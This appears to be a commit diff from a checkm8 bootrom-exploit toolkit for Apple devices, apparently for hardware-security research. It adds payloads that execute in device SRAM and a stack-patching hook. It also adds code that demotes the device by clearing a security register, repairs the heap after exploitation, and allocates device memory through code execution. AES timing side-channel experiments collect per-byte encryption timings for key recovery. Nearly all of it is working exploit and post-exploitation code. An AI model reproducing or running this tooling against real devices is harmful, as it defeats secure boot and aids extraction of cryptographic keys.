void aes128_encrypt_ecb(unsigned char *msg, unsigned int msg_len,
unsigned char key_sched[176], struct aes_constants *c);
#endif //CHECKM8_TOOL_CRYPTO_H

View File

@@ -0,0 +1,22 @@
#ifndef CHECKM8_TOOL_DEV_UTIL_H
#define CHECKM8_TOOL_DEV_UTIL_H
typedef void (*BOOTROM_FUNC_V)();
typedef int (*BOOTROM_FUNC_I)();
typedef unsigned long long (*BOOTROM_FUNC_ULL)();
typedef void (*(*BOOTROM_FUNC_PTR)());
typedef char int8_t;
typedef short int16_t;
typedef int int32_t;
typedef long long int64_t;
typedef unsigned char uint8_t;
typedef unsigned short uint16_t;
typedef unsigned int uint32_t;
typedef unsigned long long uint64_t;
#define PAYLOAD_SECTION __attribute__ ((section (".payload_text")))
#define PAYLOAD_DATA __attribute__ ((section (".payload_data")))
#endif //CHECKM8_TOOL_DEV_UTIL_H

View File

@@ -0,0 +1,22 @@
#include "bootrom_func.h"
PAYLOAD_SECTION
void entry_sync(uint8_t *src, uint8_t *dst, uint8_t *key, int32_t rep)
{
int i, j;
unsigned char src_data[16];
for(j = 0; j < 16; j++)
{
src_data[j] = src[j];
}
for(i = 0; i < rep; i++)
{
if(i % 2 == 0) hardware_aes(16, src_data, dst, 16, 0, key, 0);
else hardware_aes(16, dst, src_data, 16, 0, key, 0);
}
}
PAYLOAD_SECTION
void entry_async(uint64_t *base){}

View File

@@ -0,0 +1,83 @@
#include "bootrom_func.h"
#include "dev/types.h"
#include "dev_cache.h"
#include "dev_crypto.h"
PAYLOAD_SECTION
uint64_t entry_sync(unsigned char *msg, unsigned int msg_len, unsigned char key[16],
struct aes_constants *c)
{
unsigned long long start = 0;
unsigned char key_sched[176];
expand_key(key, key_sched, 11, c);
start = get_ticks();
aes128_encrypt_ecb(msg, msg_len, key, c);
return get_ticks() - start;
}
PAYLOAD_SECTION
void entry_async(uint64_t *base)
{
int i, j, iter_count = 0;
unsigned long long start = 0;
unsigned char msg_old[16];
unsigned char key_sched[176];
double timing;
// get initial params
unsigned char *msg = (unsigned char *) base[0];
unsigned int msg_len = (unsigned int) base[1];
unsigned char *key = (unsigned char *) base[2];
struct aes_constants *c = (struct aes_constants *) base[3];
expand_key(key, key_sched, 11, c);
// initialize events and buffers
struct bern_data *data = (struct bern_data *) base;
event_new(&data->ev_data, 1, 0);
event_new(&data->ev_done, 1, 0);
data->count = 0;
for(i = 0; i < 16; i++)
{
for(j = 0; j < 256; j++)
{
data->t[i][j] = 0;
data->tsq[i][j] = 0;
data->tnum[i][j] = 0;
}
}
while(1)
{
// randomly generate a new msg based on the old one
for(i = 0; i < 16; i++)
msg_old[i] = msg[i];
// encrypt it and measure time
start = get_ticks();
aes128_encrypt_ecb(msg, msg_len, key_sched, c);
timing = (double) (get_ticks() - start);
// update counters
for(i = 0; i < 16; i++)
{
data->t[i][msg_old[i]] += timing;
data->tsq[i][msg_old[i]] += (timing * timing);
data->tnum[i][msg_old[i]] += 1;
data->count++;
data->ttotal += timing;
}
// check if host has requested data
iter_count++;
if(iter_count % 100000 == 0)
{
if(event_try(&data->ev_data, 1))
event_wait(&data->ev_done);
}
}
}

View File

@@ -0,0 +1,54 @@
#include "bootrom_func.h"
#include "dev_util.h"
#include "dev_crypto.h"
PAYLOAD_SECTION
void entry_sync()
{
}
PAYLOAD_SECTION
void entry_async(uint64_t *base)
{
int i;
unsigned char key_sched[176];
unsigned long long start, timing;
unsigned char *key = (unsigned char *) base[0];
struct aes_constants *c = (struct aes_constants *) base[1];
struct corr_data *data = (struct corr_data *) base;
event_new(&data->ev_cont, 1, 0);
expand_key(key, key_sched, 11, c);
for(i = 0; i < 16; i++)
data->msg[i] = 0;
while(1)
{
// reset data state
data->num_cutoff = 0;
for(i = 0; i < N_CORR_ENTRIES; i++)
{
data->data[i] = 0;
}
// collect new data
i = 0;
while(i < N_CORR_ENTRIES)
{
start = get_ticks();
aes128_encrypt_ecb(data->msg, 16, key_sched, c);
timing = get_ticks() - start;
if(timing < 256)
data->data[i++] = (unsigned char) timing;
else
data->num_cutoff++;
}
event_wait(&data->ev_cont);
}
}

View File

@@ -0,0 +1,17 @@
.extern entry_sync
.extern entry_async
.extern load_sync_entry
.global _start
.section .text
_start:
mov x10, x30
bl load_sync_entry
mov x30, x10
# if we came from the synchronous entry point, branch to entry_sync
cmp x9, x10
b.eq entry_sync
# else branch to the payload's async entry points
b entry_async

View File

@@ -0,0 +1,13 @@
#include "dev_util.h"
#include "dev/addr.h"
PAYLOAD_SECTION
void load_sync_entry()
{
uint64_t addr = ADDR_SYNC_ENTRY;
__asm__ volatile("mov x9, %0" :: "i" (addr & 0xFFFFu));
__asm__ volatile("movk x9, %0, LSL #16" :: "i" ((addr & 0xFFFF0000u) >> 16u));
__asm__ volatile("movk x9, %0, LSL #32" :: "i" ((addr & 0xFFFF00000000u) >> 32u));
__asm__ volatile("movk x9, %0, LSL #48" :: "i" ((addr & 0xFFFF000000000000u) >> 48u));
}

View File

@@ -0,0 +1,60 @@
#include "bootrom_func.h"
extern uint64_t fs_routine(void);
extern uint64_t fs_load(float *dividend, int divisor_base);
// extern uint64_t check_subnormal();
//PAYLOAD_SECTION
//unsigned int is_subnormal(float val)
//{
// unsigned int bytes = *((unsigned int *) &val);
// bytes = bytes >> 23u;
//
// if(bytes & 0x7u)
// {
// return 0;
// }
// else return 1;
//}
PAYLOAD_SECTION
uint64_t floppysleep_iteration(float *init)
{
int i;
uint64_t start, end, report;
__asm__ volatile ("isb\n\rmrs %0, cntpct_el0" : "=r" (start));
fs_load(init, 1);
for(i = 0; i < 128; i++) fs_routine();
__asm__ volatile ("isb\n\rmrs %0, cntpct_el0" : "=r" (end));
if(2 * end - start - 64 > 0)
{
timer_register_int(2 * end - start - 64);
wfi();
}
__asm__ volatile ("isb\n\rmrs %0, cntpct_el0" : "=r" (report));
return end - start;
}
PAYLOAD_SECTION
uint64_t entry_sync(float *init_ptr)
{
return floppysleep_iteration(init_ptr);
}
PAYLOAD_SECTION
void entry_async(uint64_t *args)
{
float *init_ptr = (float *) args[0];
args[0] = 0;
while(1)
{
floppysleep_iteration(init_ptr);
if(args[0] % 1000000 == 0) task_resched();
args[0]++;
}
}

View File

@@ -0,0 +1,33 @@
#include "bootrom_func.h"
#include "dev_cache.h"
PAYLOAD_SECTION
unsigned long long l1_experiment()
{
int i;
unsigned long long start, f;
volatile unsigned long long val = 0;
clean_inv_va((unsigned long long *) &val);
start = get_ticks();
for(i = 0; i < 10000000; i++)
{
val;
clean_inv_va((unsigned long long *) &val);
}
return get_ticks() - start;
}
PAYLOAD_SECTION
unsigned long long entry_sync()
{
return l1_experiment();
}
PAYLOAD_SECTION
void entry_async()
{
}

View File

@@ -0,0 +1,28 @@
#include "dev/addr.h"
#include "bootrom_func.h"
PAYLOAD_SECTION
void entry_sync(uint64_t addr_hook)
{
uint64_t *bs_task_sp = ((uint64_t *) ADDR_BOOTSTRAP_TASK + (0x128 / 8));
uint64_t *bs_task_stack = (uint64_t *) *bs_task_sp;
while(1)
{
if(*bs_task_stack == ADDR_GETDFU_EXIT)
{
*bs_task_stack = addr_hook;
break;
}
bs_task_stack++;
}
*(ADDR_DFU_RETVAL) = -1;
*(ADDR_DFU_STATUS) = 1;
event_notify((struct event *) ADDR_DFU_EVENT);
}
PAYLOAD_SECTION
void entry_async(){}

View File

@@ -0,0 +1,11 @@
void entry_sync()
{
}
void entry_async()
{
}

View File

@@ -0,0 +1,13 @@
#include "dev_util.h"
PAYLOAD_SECTION
void entry_sync()
{
__asm__("dmb sy");
__asm__("ic iallu");
__asm__("dsb sy");
__asm__("isb");
}
PAYLOAD_SECTION
void entry_async(){}

View File

@@ -2,17 +2,19 @@
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <float.h>
#include <stdlib.h>
#include <math.h>
#include <time.h>
#include "command.h"
#include "payload.h"
#include "usb_helpers.h"
#include "dev/types.h"
#include "util/experiments.h"
#include "util/host_crypto.h"
#ifdef CHECKM8_LOGGING
#include <stdarg.h>
#include <execinfo.h>
#include <dev/addr.h>
#endif
@@ -27,7 +29,7 @@ void checkm8_debug_indent(const char *format, ...)
}
va_list args;
va_start (args, format);
va_start(args, format);
vprintf(format, args);
va_end(args);
#endif
@@ -44,9 +46,142 @@ void checkm8_debug_block(const char *format, ...)
#endif
}
void record_bern_data(struct bern_data *data)
{
int j, b;
double u[16][256];
double udev[16][256];
double taverage;
FILE *outfile;
char linebuf[256];
printf("have count %lli k\n", data->count / 16 / 100000);
taverage = data->ttotal / (double) data->count;
for(j = 0; j < 16; j++)
{
for(b = 0; b < 256; b++)
{
u[j][b] = data->t[j][b] / data->tnum[j][b];
udev[j][b] = data->tsq[j][b] / data->tnum[j][b];
udev[j][b] -= u[j][b] * u[j][b];
udev[j][b] = sqrt(udev[j][b]);
}
}
sprintf(linebuf, "dat_%lli.dat", data->count / 16 / 100000);
outfile = fopen(linebuf, "w+");
if(outfile == NULL)
{
printf("failed to open data file\n");
return;
}
for(j = 0; j < 16; j++)
{
for(b = 0; b < 256; b++)
{
sprintf(linebuf,
"%2d %3d %lli %f %f %f %f\n",
j, b, (long long) data->tnum[j][b],
u[j][b], udev[j][b],
u[j][b] - taverage, udev[j][b] / sqrt(data->tnum[j][b]));
fputs(linebuf, outfile);
}
}
fclose(outfile);
}
void run_corr_exp(struct pwned_device *dev, char *fname)
{
int i, j, iter = 0;
char dat_fname[32];
FILE *outfile;
DEV_PTR_T addr_async_buf;
struct aes_constants *c = get_constants();
struct corr_data *data;
unsigned char msg[16];
unsigned char key[16];
unsigned char key_sched[176];
sprintf(dat_fname, "KEY");
outfile = fopen(dat_fname, "w+");
if(outfile == NULL)
{
printf("failed to open key file\n");
return;
}
srand(time(NULL));
for(i = 0; i < 16; i++)
{
msg[i] = 0;
key[i] = random();
fprintf(outfile, "%02x", key[i]);
}
fprintf(outfile, "\n");
fflush(outfile);
fclose(outfile);
expand_key(key, key_sched, 11, c);
addr_async_buf = setup_corr_exp(dev, key);
printf("got async buf ptr %llx\n", addr_async_buf);
if(addr_async_buf == DEV_PTR_NULL) return;
while(1)
{
sprintf(dat_fname, "%s_%i.bin", fname, iter);
outfile = fopen(dat_fname, "wb+");
if(outfile == NULL)
{
printf("failed to open outfile\n");
return;
}
for(j = 0; j < 375; j++)
{
data = get_corr_exp_data(dev, addr_async_buf);
if(data->num_cutoff != 0)
printf("more than 0 entries were cutoff\n");
for(i = 0; i < N_CORR_ENTRIES; i++)
{
fwrite(msg, 1, sizeof(msg), outfile);
fwrite("\x00", 1, 1, outfile);
fwrite(&data->data[i], 1, 1, outfile);
fwrite("\x00\x00", 1, 2, outfile);
aes128_encrypt_ecb(msg, 16, key_sched, c);
}
fflush(outfile);
for(i = 0; i < 16; i++)
{
if(msg[i] != data->msg[i])
{
printf("aes error! message mismatch\n");
free(data);
return;
}
}
free(data);
}
fclose(outfile);
iter++;
if(iter == 46) break;
}
}
int main()
{
struct dev_cmd_resp *resp;
struct pwned_device *dev = exploit_device();
if(dev == NULL || dev->status == DEV_NORMAL)
{
@@ -54,52 +189,33 @@ int main()
return -1;
}
if(IS_CHECKM8_FAIL(open_device_session(dev)))
{
printf("failed to open device session\n");
return -1;
}
open_device_session(dev);
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
{
printf("failed to install sync payload\n");
return -1;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_FLOPPYSLEEP, SRAM)))
{
printf("failed to install task sleep payload\n");
return -1;
}
float init_a = -7.504355E-39f;
resp = write_gadget(dev, 0x180154000, (unsigned char *) &init_a, sizeof(float));
free_dev_cmd_resp(resp);
resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to execute bootstrap\n");
return -1;
}
free_dev_cmd_resp(resp);
while(1)
{
resp = execute_payload(dev, PAYLOAD_FLOPPYSLEEP, 0, 1, 0x180154000);
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to execute flopsleep payload\n");
return -1;
}
printf("retval is %08lli\n", resp->retval);
free_dev_cmd_resp(resp);
usleep(2000000);
}
demote_device(dev);
fix_heap(dev);
usb_task_exit(dev);
close_device_session(dev);
// run_corr_exp(dev, "key00");
//
// uninstall_all_data(dev);
// uninstall_all_payloads(dev);
//
// // crash!
// execute_gadget(dev, 0, 0, 0);
free_device(dev);
return 0;
}

View File

@@ -1,7 +1,7 @@
#include "command.h"
#include "tool/command.h"
#include "checkm8.h"
#include "usb_helpers.h"
#include "tool/usb_helpers.h"
#include <stdlib.h>
#include <string.h>
@@ -25,7 +25,7 @@ int dfu_send_data(struct pwned_device *dev, unsigned char *data, long data_len,
checkm8_debug_indent("\tsending chunk of size %li at index %li\n", amount, index);
ret = ctrl_transfer(dev, 0x21, 1, 0, 0, &data[index], amount, 5000, trigger);
ret = ctrl_transfer(dev, 0x21, 1, 0, 0, &data[index], amount, 0, trigger);
if(ret > 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret);
else
{
@@ -71,7 +71,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev,
return cmd_resp;
}
ret = ctrl_transfer(dev, 0x21, 1, 0, 0, nullbuf, 0, 100, 0);
ret = ctrl_transfer(dev, 0x21, 1, 0, 0, nullbuf, 0, 0, 0);
if(ret >= 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret);
else
{
@@ -80,7 +80,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev,
return cmd_resp;
}
ret = ctrl_transfer(dev, 0xA1, 3, 0, 0, nullbuf, 6, 100, 0);
ret = ctrl_transfer(dev, 0xA1, 3, 0, 0, nullbuf, 6, 0, 0);
if(ret >= 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret);
else
{
@@ -89,7 +89,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev,
return cmd_resp;
}
ret = ctrl_transfer(dev, 0xA1, 3, 0, 0, nullbuf, 6, 100, 0);
ret = ctrl_transfer(dev, 0xA1, 3, 0, 0, nullbuf, 6, 0, 0);
if(ret >= 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret);
else
{
@@ -110,7 +110,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev,
ret = ctrl_transfer(dev,
0xA1, 2, 0xFFFF, 0,
resp_buf, response_len + 1,
100, 1);
0, 1);
if(ret >= 0) checkm8_debug_indent("\tfinal request transferred %i bytes\n", ret);
else
{
@@ -124,7 +124,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev,
ret = ctrl_transfer(dev,
0xA1, 2, 0xFFFF, 0,
resp_buf, response_len,
100, 1);
0, 1);
if(ret >= 0) checkm8_debug_indent("\tfinal request transferred %i bytes\n", ret);
else
{
@@ -157,7 +157,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev,
#define MEMS_MAGIC 0x6d656d736d656d73ull // 'memsmems'[::-1]
#define DONE_MAGIC 0x646f6e65646f6e65ull // 'donedone'[::-1]
struct dev_cmd_resp *dev_memset(struct pwned_device *dev, long long addr, unsigned char c, int len)
struct dev_cmd_resp *dev_memset(struct pwned_device *dev, unsigned long long addr, unsigned char c, int len)
{
checkm8_debug_indent("dev_memset(dev = %p, addr = %lx, c = %x, len = %li)\n", dev, addr, c, len);
unsigned long long cmd_args[5];
@@ -170,7 +170,7 @@ struct dev_cmd_resp *dev_memset(struct pwned_device *dev, long long addr, unsign
return command(dev, (unsigned char *) &cmd_args, 5 * sizeof(unsigned long long), 8);
}
struct dev_cmd_resp *dev_memcpy(struct pwned_device *dev, long long dest, long long src, int len)
struct dev_cmd_resp *dev_memcpy(struct pwned_device *dev, unsigned long long dest, unsigned long long src, int len)
{
checkm8_debug_indent("dev_memset(dev = %p, dest = %lx, src = %lx, len = %li)\n", dev, dest, src, len);
unsigned long long cmd_args[5];
@@ -205,7 +205,7 @@ struct dev_cmd_resp *dev_exec(struct pwned_device *dev, int response_len, int na
return command(dev, (unsigned char *) cmd_args, (1 + nargs) * sizeof(unsigned long long), 16 + response_len);
}
struct dev_cmd_resp *dev_read_memory(struct pwned_device *dev, long long addr, int len)
struct dev_cmd_resp *dev_read_memory(struct pwned_device *dev, unsigned long long addr, int len)
{
checkm8_debug_indent("dev_read_memory(dev = %p, addr = %lx, len = %i)\n", dev, addr, len);
long long index = 0, amount;
@@ -254,7 +254,7 @@ struct dev_cmd_resp *dev_read_memory(struct pwned_device *dev, long long addr, i
return ret;
}
struct dev_cmd_resp *dev_write_memory(struct pwned_device *dev, long long addr, unsigned char *data, int len)
struct dev_cmd_resp *dev_write_memory(struct pwned_device *dev, unsigned long long addr, unsigned char *data, int len)
{
checkm8_debug_indent("dev_write_memory(dev = %p, addr = %lx, data = %p, len = %i)\n", dev, addr, data, len);

View File

@@ -1,12 +1,14 @@
#include "checkm8.h"
#include <stdlib.h>
#include "usb_helpers.h"
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include "tool/usb_helpers.h"
#include "tool/command.h"
#include "dev/addr.h"
static unsigned char data_0xA_0xC0_buf[192] =
{
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
@@ -148,6 +150,12 @@ int stage3_function(struct pwned_device *dev)
checkm8_debug_indent("exploit stage 3\n");
FILE *overwrite_file = fopen(CHECKM8_BIN_BASE "overwrite.bin", "r");
if(overwrite_file == NULL)
{
checkm8_debug_indent("\tfailed to open overwrite file\n");
return CHECKM8_FAIL_NOINST;
}
fseek(overwrite_file, 0, SEEK_END);
ow_len = ftell(overwrite_file);
rewind(overwrite_file);
@@ -157,6 +165,12 @@ int stage3_function(struct pwned_device *dev)
fclose(overwrite_file);
FILE *payload_file = fopen(CHECKM8_BIN_BASE "payload.bin", "r");
if(payload_file == NULL)
{
checkm8_debug_indent("\tfailed to open payload file\n");
return CHECKM8_FAIL_NOINST;
}
fseek(payload_file, 0, SEEK_END);
pl_len = ftell(payload_file);
rewind(payload_file);
@@ -289,6 +303,217 @@ struct pwned_device *exploit_device()
}
}
int demote_device(struct pwned_device *dev)
{
checkm8_debug_indent("demote_device(dev = %p)\n", dev);
unsigned int oldval, newval;
int retval;
if(IS_CHECKM8_FAIL(open_device_session(dev)))
{
checkm8_debug_indent("\tfailed to open a device session\n");
return CHECKM8_FAIL_XFER;
}
struct dev_cmd_resp *resp = dev_read_memory(dev, DEMOTE_REG, 4);
if(IS_CHECKM8_FAIL(resp->ret))
{
free_dev_cmd_resp(resp);
checkm8_debug_block("\tfailed to read demotion reg\n");
return CHECKM8_FAIL_INVARGS;
}
oldval = *((unsigned int *) resp->data);
free_dev_cmd_resp(resp);
if(!(oldval & 1u))
{
checkm8_debug_block("\tdevice already demoted\n");
if(IS_CHECKM8_FAIL(close_device_session(dev)))
{
checkm8_debug_indent("\tfailed to close device session\n");
return CHECKM8_FAIL_XFER;
}
return CHECKM8_SUCCESS;
}
oldval &= 0xFFFFFFFE;
checkm8_debug_indent("\tattempting to demote device\n");
resp = dev_write_memory(dev, DEMOTE_REG, (unsigned char *) &oldval, 4);
if(IS_CHECKM8_FAIL(resp->ret))
{
checkm8_debug_block("\tfailed to write to demotion reg\n");
free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(close_device_session(dev)))
{
checkm8_debug_indent("\tfailed to close device session\n");
return CHECKM8_FAIL_XFER;
}
return CHECKM8_FAIL_INVARGS;
}
free_dev_cmd_resp(resp);
// verify
resp = dev_read_memory(dev, DEMOTE_REG, 4);
if(IS_CHECKM8_FAIL(resp->ret))
{
free_dev_cmd_resp(resp);
checkm8_debug_block("\tfailed to verify demotion reg\n");
if(IS_CHECKM8_FAIL(close_device_session(dev)))
{
checkm8_debug_indent("\tfailed to close device session\n");
return CHECKM8_FAIL_XFER;
}
return CHECKM8_FAIL_INVARGS;
}
newval = *((unsigned int *) resp->data);
free_dev_cmd_resp(resp);
if(oldval == newval)
{
checkm8_debug_block("\tdemotion success!\n");
retval = CHECKM8_SUCCESS;
}
else
{
checkm8_debug_block("\tdemotion register did not change!\n");
retval = CHECKM8_FAIL_INVARGS;
}
if(IS_CHECKM8_FAIL(close_device_session(dev)))
{
checkm8_debug_indent("\tfailed to close device session\n");
return CHECKM8_FAIL_XFER;
}
return retval;
}
int fix_heap(struct pwned_device *dev)
{
checkm8_debug_indent("fix_heap(dev = %p)\n", dev);
struct heap_header block;
struct dev_cmd_resp *resp;
unsigned long long curr = ADDR_HEAP_BASE;
unsigned long long calc_args[5];
int ret, i;
#if CHECKM8_PLATFORM == 8010
unsigned long long prev_sizes[3] = {0x840 / 0x40, 0x80 / 0x40, 0x80 / 0x40};
unsigned long long header_addr[3] = {0x1801b9180, 0x1801b9200, 0x1801b9280};
memset(&block, 0, sizeof(struct heap_header));
block.curr_size = (0x80 / 0x40);
block.pad_start = 0x80;
calc_args[0] = ADDR_CALC_CHKSUM;
//calc_args[1-2] block specific
calc_args[3] = 32;
calc_args[4] = ADDR_HEAP_COOKIE;
for(i = 0; i < 3; i++)
{
block.prev_size = prev_sizes[i];
resp = dev_write_memory(dev, header_addr[i], (unsigned char *) &block, sizeof(struct heap_header));
ret = resp->ret, free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(ret))
{
checkm8_debug_indent("\tfailed to write block %i header\n", i);
return ret;
}
calc_args[1] = header_addr[i], calc_args[2] = header_addr[i] + 0x20;
resp = dev_exec(dev, 0, 5, calc_args);
ret = resp->ret, free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(ret))
{
checkm8_debug_indent("\tfailed to calculate block %i checksum\n", i);
return ret;
}
}
while(1)
{
resp = dev_read_memory(dev, curr, sizeof(struct heap_header));
memcpy(&block, resp->data, sizeof(struct heap_header));
ret = resp->ret, free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(ret))
{
checkm8_debug_indent("\tfailed to walk heap at %llx\n", curr);
return ret;
}
if(curr + block.curr_size * 0x40 == ADDR_HEAP_END)
{
block.curr_size -= 1;
resp = dev_write_memory(dev, curr, (unsigned char *) &block, sizeof(struct heap_header));
ret = resp->ret, free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(ret))
{
checkm8_debug_indent("\tfailed to write second-to-last block header\n");
return ret;
}
calc_args[1] = curr, calc_args[2] = curr + 0x20, calc_args[3] = 48;
resp = dev_exec(dev, 0, 5, calc_args);
ret = resp->ret, free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(ret))
{
checkm8_debug_indent("\tfailed to calculate second-to-last block checksum\n");
return ret;
}
block.prev_free = block.curr_free;
block.prev_size = block.curr_size;
block.curr_free = 0;
block.curr_size = 1;
resp = dev_write_memory(dev, ADDR_HEAP_END - sizeof(struct heap_header),
(unsigned char *) &block, sizeof(struct heap_header));
ret = resp->ret, free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(ret))
{
checkm8_debug_indent("\tfailed to write last block header\n");
return ret;
}
calc_args[1] = ADDR_HEAP_END - sizeof(struct heap_header);
calc_args[2] = ADDR_HEAP_END - sizeof(struct heap_header) + 0x20;
calc_args[3] = 32;
resp = dev_exec(dev, 0, 5, calc_args);
ret = resp->ret, free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(ret))
{
checkm8_debug_indent("\tfailed to calculate last block checksum\n");
return ret;
}
break;
}
curr += block.curr_size * 0x40;
}
#else
#error "Can't fix heap for unknown platform"
#endif
return CHECKM8_SUCCESS;
}
void free_device(struct pwned_device *dev)
{
checkm8_debug_indent("free_device(dev = %p)\n", dev);

View File

@@ -1,13 +1,13 @@
#include "payload.h"
#include "tool/payload.h"
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include "command.h"
#include "usb_helpers.h"
#include "tool/command.h"
#include "tool/libpayload.h"
#include "libpayload.h"
#include "dev/addr.h"
struct payload
{
@@ -15,11 +15,22 @@ struct payload
const unsigned char *data;
int len;
long long install_base;
DEV_PTR_T install_base;
DEV_PTR_T async_base;
struct payload *next;
struct payload *prev;
};
struct data
{
DEV_PTR_T addr;
int len;
struct data *next;
struct data *prev;
};
struct payload *get_payload(PAYLOAD_T p)
{
struct payload *res;
@@ -28,24 +39,29 @@ struct payload *get_payload(PAYLOAD_T p)
switch(p)
{
case PAYLOAD_AES:
pl = payload_aes;
len = PAYLOAD_AES_SZ;
break;
case PAYLOAD_AES_BUSY:
pl = payload_aes_busy;
len = PAYLOAD_AES_BUSY_SZ;
break;
case PAYLOAD_AES_SW:
pl = payload_aes_sw;
len = PAYLOAD_AES_SW_SZ;
case PAYLOAD_AES_SW_BERN:
pl = payload_aes_sw_bern;
len = PAYLOAD_AES_SW_BERN_SZ;
break;
case PAYLOAD_BOOTSTRAP:
pl = payload_bootstrap;
len = PAYLOAD_BOOTSTRAP_SZ;
case PAYLOAD_AES_SW_CORR:
pl = payload_aes_sw_corr;
len = PAYLOAD_AES_SW_CORR_SZ;
break;
case PAYLOAD_CACHELIB:
pl = payload_cachelib;
len = PAYLOAD_CACHELIB_SZ;
break;
case PAYLOAD_EXIT_USB_TASK:
pl = payload_exit_usb_task;
len = PAYLOAD_EXIT_USB_TASK_SZ;
break;
case PAYLOAD_FLOPPYSLEEP:
@@ -58,16 +74,6 @@ struct payload *get_payload(PAYLOAD_T p)
len = PAYLOAD_SYNC_SZ;
break;
case PAYLOAD_SYSREG:
pl = payload_sysreg;
len = PAYLOAD_SYSREG_SZ;
break;
case PAYLOAD_TASK_SLEEP_TEST:
pl = payload_task_sleep_test;
len = PAYLOAD_TASK_SLEEP_TEST_SZ;
break;
default:
return NULL;
}
@@ -79,32 +85,18 @@ struct payload *get_payload(PAYLOAD_T p)
res->type = p;
res->len = len;
res->data = pl;
res->install_base = -1;
res->install_base = DEV_PTR_NULL;
res->async_base = DEV_PTR_NULL;
res->next = NULL;
res->prev = NULL;
return res;
}
void free_payload(struct payload *p)
{
free(p);
}
long long curr_address = 0x180150000;
long long get_address(struct pwned_device *dev, LOCATION_T l)
{
//TODO: make an actual memory allocator
long long ret = curr_address;
curr_address += 0x1000;
return ret;
}
struct payload *dev_retrieve_payload(struct pwned_device *dev, PAYLOAD_T p)
{
struct payload *curr;
for(curr = dev->installed; curr != NULL; curr = curr->next)
for(curr = dev->inst_pl; curr != NULL; curr = curr->next)
{
if(curr->type == p) return curr;
}
@@ -115,14 +107,14 @@ struct payload *dev_retrieve_payload(struct pwned_device *dev, PAYLOAD_T p)
int dev_link_payload(struct pwned_device *dev, struct payload *pl)
{
struct payload *curr;
if(dev->installed == NULL)
if(dev->inst_pl == NULL)
{
dev->installed = pl;
dev->inst_pl = pl;
return CHECKM8_SUCCESS;
}
else
{
for(curr = dev->installed; curr->next != NULL; curr = curr->next);
for(curr = dev->inst_pl; curr->next != NULL; curr = curr->next);
curr->next = pl;
pl->prev = curr;
@@ -130,21 +122,125 @@ int dev_link_payload(struct pwned_device *dev, struct payload *pl)
}
}
int *dev_unlink_payload(struct pwned_device *dev, struct payload *pl)
int dev_unlink_payload(struct pwned_device *dev, struct payload *pl)
{
if(dev->installed == pl)
if(dev->inst_pl == pl)
{
dev->installed = NULL;
dev->inst_pl = pl->next;
return CHECKM8_SUCCESS;
}
else
{
pl->prev->next = pl->next;
pl->next->prev = pl->prev;
if(pl->next != NULL)
pl->next->prev = pl->prev;
return CHECKM8_SUCCESS;
}
}
struct data *dev_retrieve_data(struct pwned_device *dev, DEV_PTR_T addr)
{
struct data *curr;
for(curr = dev->inst_data; curr != NULL; curr = curr->next)
{
if(curr->addr == addr) return curr;
}
return NULL;
}
int dev_link_data(struct pwned_device *dev, struct data *data)
{
struct data *curr;
if(dev->inst_data == NULL)
{
dev->inst_data = data;
return CHECKM8_SUCCESS;
}
else
{
for(curr = dev->inst_data; curr->next != NULL; curr = curr->next);
curr->next = data;
data->prev = curr;
return CHECKM8_SUCCESS;
}
}
int dev_unlink_data(struct pwned_device *dev, struct data *data)
{
if(dev->inst_data == data)
{
dev->inst_data = data->next;
return CHECKM8_SUCCESS;
}
else
{
data->prev->next = data->next;
if(data->next != NULL)
data->next->prev = data->prev;
return CHECKM8_SUCCESS;
}
}
DEV_PTR_T get_address(struct pwned_device *dev, LOCATION_T l, int len)
{
checkm8_debug_indent("get_address(dev = %p, loc = %i, len = %i)\n", dev, l, len);
DEV_PTR_T retval;
unsigned long long malloc_args[2] = {ADDR_DEV_MALLOC, (unsigned long long) len};
struct data *new_entry;
struct dev_cmd_resp *resp = dev_exec(dev, 0, 2, malloc_args);
if(IS_CHECKM8_FAIL(resp->ret))
{
free_dev_cmd_resp(resp);
checkm8_debug_indent("\tfailed to malloc an address\n");
return DEV_PTR_NULL;
}
retval = resp->retval;
free_dev_cmd_resp(resp);
new_entry = malloc(sizeof(struct data));
new_entry->addr = retval;
new_entry->len = len;
new_entry->prev = NULL;
new_entry->next = NULL;
dev_link_data(dev, new_entry);
checkm8_debug_indent("\tgot address %llX\n", retval);
return retval;
}
int free_address(struct pwned_device *dev, LOCATION_T l, DEV_PTR_T ptr)
{
struct dev_cmd_resp *resp;
struct data *entry;
unsigned long long free_args[2] = {ADDR_DEV_FREE, ptr};
entry = dev_retrieve_data(dev, ptr);
if(entry == NULL)
{
checkm8_debug_indent("\tthis pointer was not allocated through the payload interface, not freeing\n");
return CHECKM8_FAIL_NOINST;
}
resp = dev_exec(dev, 0, 2, free_args);
if(IS_CHECKM8_FAIL(resp->ret))
{
free_dev_cmd_resp(resp);
checkm8_debug_indent("\tfailed to free allocated payload memory\n");
return CHECKM8_FAIL_XFER;
}
free_dev_cmd_resp(resp);
dev_unlink_data(dev, entry);
free(entry);
return CHECKM8_SUCCESS;
}
